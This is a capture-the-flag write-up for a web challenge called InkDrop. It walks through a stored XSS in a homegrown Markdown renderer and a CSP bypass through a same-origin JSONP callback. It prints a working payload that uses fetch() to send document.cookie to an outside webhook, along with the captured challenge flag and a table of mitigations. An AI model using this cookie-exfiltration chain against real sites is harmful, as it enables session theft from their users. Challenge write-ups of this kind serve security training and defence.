# ๐๏ธ InkDrop โ Stored XSS to Admin Cookie Theft via JSONP Gadget & CSP Bypass
> **Intigriti February 2026 Monthly Challenge โ Full Writeup**
   
---
:::info
:bulb: **TL;DR** โ Chained a **Stored XSS** (via an unsanitized custom Markdown renderer) with a **CSP bypass** (via a same-origin JSONP callback injection) to exfiltrate the admin bot's `flag` cookie to an attacker-controlled webhook.
:::

---
## ๐ Table of Contents
[TOC]
---
## ๐งญ Challenge Overview
| Detail | Value |
|:---|:---|
| **Challenge** | InkDrop |
| **Platform** | [Intigriti](https://www.intigriti.com/) Monthly CTF |
| **Category** | Web Exploitation |
| **Techniques** | Stored XSS ยท CSP Bypass ยท JSONP Callback Injection ยท Cookie Exfiltration |
| **Tech Stack** | Python (Flask) ยท JavaScript ยท Custom Markdown Parser |
| **Key Files** | `app.py` ยท `static/js/preview.js` ยท `/api/jsonp` endpoint |
| **Impact** | :red_circle: **Critical** โ Full Admin Cookie Theft |
**InkDrop** is a modern writing/blogging platform with Markdown support. On the surface, it's clean and well-designed. Under the hood, three individually "low-risk" misconfigurations chain together into a devastating exploit:
1. :one: A **homegrown Markdown parser** with zero sanitization
2. :two: An **overly helpful script loader** that force-executes injected scripts
3. :three: A **JSONP endpoint** with weak callback validation
> *"The most dangerous vulnerabilities aren't exploits โ they're design decisions."*
---
## ๐ฏ Objective
:::success
:dart: **Goal:** Report a malicious post to the admin bot. The bot visits it with its session cookies. **Steal the admin's `flag` cookie** and submit it.
:::
---
## Phase 1 โ Reconnaissance & Code Auditing
The challenge provides full source code, so the approach is a **white-box code review** focusing on the data flow:
> **User Input โ Storage โ Rendering โ Browser Execution**
### 1.1 The Custom Markdown Renderer
:page_facing_up: **File:** `app.py`
The core rendering logic is in `render_markdown()`. Instead of using a battle-tested library like [`mistune`](https://github.com/lepture/mistune), [`markdown2`](https://github.com/trentm/python-markdown2), or [`bleach`](https://github.com/mozilla/bleach), the developers built a custom parser with raw regular expressions:
```python
def render_markdown(content):
html_content = content
html_content = re.sub(r'^### (.+)$', r'<h3>\1</h3>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'^## (.+)$', r'<h2>\1</h2>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content)
html_content = re.sub(r'\*(.+?)\*', r'<em>\1</em>', html_content)
html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content)
return html_content
```
:::danger
:rotating_light: **Vulnerability: Zero HTML Sanitization**
The function performs **no input validation, no HTML encoding, and no sanitization.** Any raw HTML tags in the user's input pass through **verbatim**:
```
Input: <script>alert(1)</script>
Output: <script>alert(1)</script> โ Stored as-is in the database
```
**Verdict:** Textbook **Stored Cross-Site Scripting (XSS)** vector.
:::
---
### 1.2 The Script Execution Catalyst
:page_facing_up: **File:** `static/js/preview.js`
When a user views a post, `preview.js` fetches the rendered HTML and injects it via `innerHTML`. But the developers knew that browsers **don't execute `<script>` tags** inserted via `innerHTML` (by design per the HTML5 spec).
Their "fix"? They added a helper function that **manually re-attaches** matching scripts to the DOM:
```javascript
function processContent(container) {
const scripts = container.querySelectorAll('script');
scripts.forEach(function(script) {
if (script.src && script.src.includes('/api/')) {
const newScript = document.createElement('script');
newScript.src = script.src;
document.body.appendChild(newScript);
}
});
}
```
:::warning
:warning: **What This Function Does**
| Check | Purpose |
|:---|:---|
| `script.src` | Only processes scripts with an external `src` attribute |
| `script.src.includes('/api/')` | Only loads scripts whose URL contains `/api/` |
| `document.body.appendChild()` | **Forces script execution** by creating a fresh `<script>` element |
This is essentially a **whitelisted script loader**. If we craft a `<script>` tag with a `src` URL that contains `/api/` and points to a same-origin resource โ this function will **force the browser to execute it**.
:::
---
## ๐ก๏ธ Phase 2 โ The CSP Wall
Before exploiting, let's analyze the Content Security Policy:
```
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src * data:;
connect-src *;
```
### CSP Directive Breakdown
| Directive | Value | Impact on Attack |
|:---|:---|:---|
| `script-src` | `'self'` | :x: Cannot load scripts from external domains |
| *(no `unsafe-inline`)* | โ | :x: Inline `<script>alert(1)</script>` is **blocked** |
| `connect-src` | `*` | :white_check_mark: `fetch()` / `XMLHttpRequest` can reach **any** external URL |
| `img-src` | `* data:` | :white_check_mark: Images from anywhere (useful for alternative exfil) |
:::info
:lock: **The Wall**
The CSP says: *"You can only execute JavaScript if it's loaded from MY domain. No inline scripts. No external scripts. Period."*
To execute JavaScript, we **must** find a controllable script endpoint on the same origin โ a **"self" gadget**.
:::
---
## Phase 3 โ Discovering the JSONP Gadget
While auditing API routes in `app.py`, I found a classic **JSONP (JSON with Padding)** endpoint โ and it's our golden ticket.
:page_facing_up: **File:** `app.py` โ Route `/api/jsonp`
```python
@app.route('/api/jsonp')
def api_jsonp():
callback = request.args.get('callback', 'handleData')
if '<' in callback or '>' in callback:
callback = 'handleData'
# ...
response = f"{callback}({json.dumps(user_data)})"
return Response(response, mimetype='application/javascript')
```
### How JSONP Works
A normal API returns JSON:
```json
{"username": "hacker", "email": "hacker@evil.com"}
```
A JSONP response **wraps** it in a client-specified callback:
```javascript
handleData({"username": "hacker", "email": "hacker@evil.com"})
```
The browser loads this as a `<script>`, executes it, and the callback receives the data. This is a pre-CORS mechanism โ **and it's notoriously dangerous.**
### :rotating_light: The Vulnerability: Weak Callback Validation
The **only** validation on the `callback` parameter:
```python
if '<' in callback or '>' in callback:
callback = 'handleData'
```
This blocks angle brackets to prevent HTML injection, but **allows everything else**:
| Character | Allowed? | Exploitation Use |
|:---|:---:|:---|
| `(` `)` | :white_check_mark: | Function calls |
| `.` | :white_check_mark: | Property access / method chaining |
| `'` `"` | :white_check_mark: | String literals |
| `;` | :white_check_mark: | Statement termination |
| `=` | :white_check_mark: | Assignment |
| `//` | :white_check_mark: | Comments โ neutralize trailing JSONP data |
:::success
:tada: **Result**
We can inject **arbitrary JavaScript** into the callback parameter. The response is served as `application/javascript` from the same origin โ **perfectly satisfying both:**
- **CSP** โ `script-src 'self'` :white_check_mark:
- **preview.js** โ URL contains `/api/` :white_check_mark:
:::
---
## Phase 4 โ Crafting the Exploit Chain
### 4.1 Attack Strategy
The full chain consists of three interlocking components:
```mermaid
flowchart LR
A["โ STORED XSS\nโโโโโโโโโโโโโ\nInject raw script tag\nvia Markdown renderer\n(zero sanitization)"] --> B["โก CSP BYPASS\nโโโโโโโโโโโโโ\nJSONP endpoint on\nsame-origin reflects\nour JS payload\n(served as 'self')"]
B --> C["โข EXFILTRATION\nโโโโโโโโโโโโโ\nfetch() sends\ndocument.cookie\nto webhook.site\n(connect-src *)"]
style A fill:#ff1744,stroke:#b71c1c,color:#fff
style B fill:#ff9100,stroke:#e65100,color:#fff
style C fill:#00e676,stroke:#00c853,color:#fff
```
### 4.2 Final Payload
```html
<script src="/api/jsonp?callback=fetch('https://webhook.site/88af9121-b76a-4f93-9580-05ce6ee02985?c='.concat(document.cookie))//"></script>
```
### Payload Dissection
Let's break this down piece by piece:
| # | Component | Role |
|:---:|:---|:---|
| 1 | `<script src="...">` | Injected into the post body โ passes through the unsanitized Markdown renderer |
| 2 | `/api/jsonp?callback=` | Targets the JSONP endpoint โ `src` contains `/api/`, passing the `preview.js` check |
| 3 | `fetch('https://webhook.site/...?c='` | Initiates outbound HTTP request to our webhook (allowed by `connect-src *`) |
| 4 | `.concat(document.cookie))` | Appends the victim's cookies (including `flag`) to the URL |
| 5 | `//` | JS single-line comment โ neutralizes trailing JSONP data to prevent `SyntaxError` |
### What the Server Actually Returns
```javascript
fetch('https://webhook.site/88af9121-b76a-4f93-9580-05ce6ee02985?c='.concat(document.cookie))//({"username":"admin","email":"admin@inkdrop.ctf"})
^^
// comments out everything after this point
```
The `//` turns the trailing `({"username":...})` into a comment โ making the response **syntactically valid JavaScript** that the browser happily executes.
---
### 4.3 Execution & Flag Capture
#### :one: Step 1 โ Inject the Payload
Logged in and created a new post with the XSS payload as the content body:

> The `<script>` tag is stored as-is because `render_markdown()` performs zero sanitization.
---
#### :two: Step 2 โ Report to Admin
Clicked the **"Report to Moderator"** button. This triggers the admin bot to visit the post.
---
#### :three: Step 3 โ Bot Triggers the Chain
When the admin bot loads the post, the following execution sequence fires:
```mermaid
sequenceDiagram
participant Bot as ๐ค Admin Bot
participant App as ๐ฅ๏ธ InkDrop App
participant Preview as ๐ preview.js
participant JSONP as โ๏ธ /api/jsonp
participant Webhook as ๐ฃ webhook.site
Bot->>App: GET /post/<id>
App-->>Bot: HTML page with preview.js
Bot->>Preview: Execute preview.js
Preview->>App: Fetch rendered post content
App-->>Preview: HTML with <script src="/api/jsonp?callback=fetch(...)//">
Preview->>Preview: innerHTML inserts content
Preview->>Preview: processContent() scans for scripts
Note over Preview: Found script with /api/ in src โ
Preview->>JSONP: Load /api/jsonp?callback=fetch(...)//
JSONP-->>Bot: fetch('https://webhook...?c='.concat(document.cookie))//({...})
Note over Bot: Browser executes fetch()
Bot->>Webhook: GET /?c=flag=INTIGRITI{019c668f-...}
Note over Webhook: ๐ฉ FLAG CAPTURED!
```
---
#### :four: Step 4 โ Flag Captured! :tada:
The webhook immediately received a GET request from the admin bot's IP (`34.140.37.218` โ Brussels, Belgium) containing the flag cookie in the query string:

:::success
:triangular_flag_on_post: **Query String Captured:**
```
c = flag=INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b}
```
:::
---
## ๐ Full Attack Flow
```mermaid
graph TD
A["๐งโ๐ป Attacker"] -->|"โ Create post\nwith XSS payload"| B["๐ฅ๏ธ InkDrop App"]
B -->|"Stores raw HTML\n(no sanitization)"| C[("๐๏ธ Database")]
A -->|"โก Report post\nto admin"| D["๐ค Admin Bot"]
D -->|"โข Visits post\n(has flag cookie)"| B
B -->|"Returns rendered\npost with script"| D
D -->|"โฃ preview.js loads\nJSONP script"| E["โ๏ธ /api/jsonp"]
E -->|"Returns callback\nas valid JS from 'self'"| D
D -->|"โค fetch() exfils\ndocument.cookie"| F["๐ฃ webhook.site"]
F -->|"๐ฉ Flag received!"| A
style A fill:#7c4dff,stroke:#4a148c,color:#fff
style B fill:#1e88e5,stroke:#0d47a1,color:#fff
style C fill:#546e7a,stroke:#263238,color:#fff
style D fill:#ff9100,stroke:#e65100,color:#fff
style E fill:#ff1744,stroke:#b71c1c,color:#fff
style F fill:#00e676,stroke:#1b5e20,color:#fff
```
---
## ๐ Flag
:::success
```
INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b}
```
:::
---
## ๐ Lessons Learned & Mitigations
### Why Each Weakness Matters
| # | Issue | Why It's Dangerous | Fix |
|:---:|:---|:---|:---|
| 1 | **Regex-based Markdown parser** | Regex cannot safely parse & sanitize HTML. It's trivially bypassable. | Use a battle-tested library with built-in sanitization (`bleach`, `DOMPurify`, `markdown-it`). |
| 2 | **JSONP with weak validation** | Filtering only `<>` allows full JS injection via callback. | Deprecate JSONP. Use **CORS**. If JSONP is required, enforce `^[a-zA-Z_][a-zA-Z0-9_.]*$` on callback. |
| 3 | **preview.js script re-execution** | Manually creating & appending `<script>` elements defeats browser `innerHTML` protections. | Never re-execute scripts from user-controlled HTML. Use strict templating. |
| 4 | **CSP allows `'self'` gadgets** | Any controllable same-origin endpoint (like JSONP) becomes a CSP bypass. | Audit all same-origin JS-serving endpoints. Use CSP `nonce` or `hash` instead of `'self'`. |
| 5 | **No `HttpOnly` on cookies** | JS can read `document.cookie`, enabling exfiltration via XSS. | Set `HttpOnly` and `Secure` flags on all sensitive cookies. |
### Key Takeaways
:::warning
:key: **A CSP is only as strong as the scripts it trusts.** If any same-origin endpoint reflects user-controlled content as JavaScript, the entire CSP collapses.
:::
:::warning
:key: **JSONP is a legacy pattern and should be treated as a known-dangerous surface.** Every JSONP endpoint is a potential XSS gadget waiting to be abused.
:::
:::warning
:key: **Defense in depth matters.** If *any single layer* had been properly implemented โ `HttpOnly` cookies, proper sanitization, strict callback validation, or CSP nonces โ **this entire chain would have been broken.**
:::
---
## ๐ References
- :book: [OWASP โ Stored XSS](https://owasp.org/www-community/attacks/xss/#stored-xss)
- :book: [PortSwigger โ CSP Bypass](https://portswigger.net/web-security/cross-site-scripting/content-security-policy)
- :book: [MDN โ Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
- :book: [DOMPurify Sanitizer](https://github.com/cure53/DOMPurify)
- :book: [HackTricks โ JSONP CSP Bypass](https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass)
---
:::info
:trophy: **Challenge Solved!**
This challenge was a masterclass in exploit chaining demonstrating how three individually "minor" issues combine into a **critical vulnerability** with full account compromise.
* Made with :coffee: and curiosity. Thanks for reading!*
:::